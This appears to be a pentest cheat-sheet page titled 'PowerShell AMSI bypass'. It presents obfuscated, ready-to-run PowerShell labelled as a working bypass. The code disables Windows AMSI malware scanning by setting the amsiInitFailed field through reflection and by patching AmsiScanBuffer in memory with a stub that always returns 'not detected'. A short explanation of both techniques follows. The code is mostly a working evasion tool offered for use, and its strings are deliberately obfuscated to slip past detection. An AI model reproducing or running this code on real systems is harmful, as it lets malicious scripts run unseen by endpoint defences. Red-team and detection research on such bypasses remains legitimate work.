PowerShell AMSI bypass
Unhooking AMSI
Working bypass
$P = 'System.Man'+'agement.Automat'+'ion.AmsiUt'+'ils';$a = 'amsi'+'InitFa'+'iled';$j = $null
[Ref].Assembly.GetType($P).GetField($a,'NonPublic,Static').SetValue($j,$true)#Rasta-mouses Amsi-Scan-Buffer patch \n
$huxbt = @"
using System;
using System.Runtime.InteropServices;
public class huxbt {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr kczprg, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $huxbt
$tidapdl = [huxbt]::LoadLibrary("$(('áms'+'î.d'+'ll').NorMAlIze([ChaR](64+6)+[cHAr]([BYtE]0x6f)+[CHAR]([BYTE]0x72)+[ChAR]([ByTe]0x6d)+[char](68+1-1)) -replace [chAR]([bytE]0x5c)+[chAR]([bYTE]0x70)+[Char]([bYTE]0x7b)+[CHar]([Byte]0x4d)+[CHAR](110)+[char](125+107-107))")
$dvzdve = [huxbt]::GetProcAddress($tidapdl, "$([CHAr]([BYte]0x41)+[cHAr](109)+[ChaR](115)+[ChAR](105*40/40)+[cHaR]([Byte]0x53)+[cHAR]([byte]0x63)+[cHaR](97)+[cHAR]([byte]0x6e)+[chAr]([BYTE]0x42)+[CHaR](45+72)+[cHAR]([byte]0x66)+[chAr](102*2/2)+[CHaR]([Byte]0x65)+[chAr]([ByTE]0x72))")
$p = 0
[huxbt]::VirtualProtect($dvzdve, [uint32]5, 0x40, [ref]$p)
$zkca = "0xB8"
$ltvf = "0x57"
$jjfn = "0x00"
$furh = "0x07"
$qqbz = "0x80"
$xfog = "0xC3"
$bvior = [Byte[]] ($zkca,$ltvf,$jjfn,$furh,+$qqbz,+$xfog)
[System.Runtime.InteropServices.Marshal]::Copy($bvior, 0, $dvzdve, 6)How it works
The “ScanContent” method is using the “amsiInitFailed” variable to determine if AMSI should scan the command to be executed. By setting this variable to “false”, what is returned is the following enumeration value:
AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED
This in turn causes any further checks within the code to be bypassed, neutering AMSI…
AmsiScanBuffer
This method uses .NET’s interop functionality to patch “amsi.dll”’s exported function “AmsiScanBuffer”, which is invoked from PowerShell as a way to check if a command is malicious. By modifying the function body by injecting our own assembly code, we can create a small stub which will always return a code indicating that a command is non-malicious.
As the AMSI DLL is loaded into PowerShell’s address space during execution, we simply p/invoke the Win32 API’s to replace the function’s body with our new stub which will return before the command is scanned.
Reference
Rasta-mouses buffer patch generated from: http://amsi.fail/
Last updated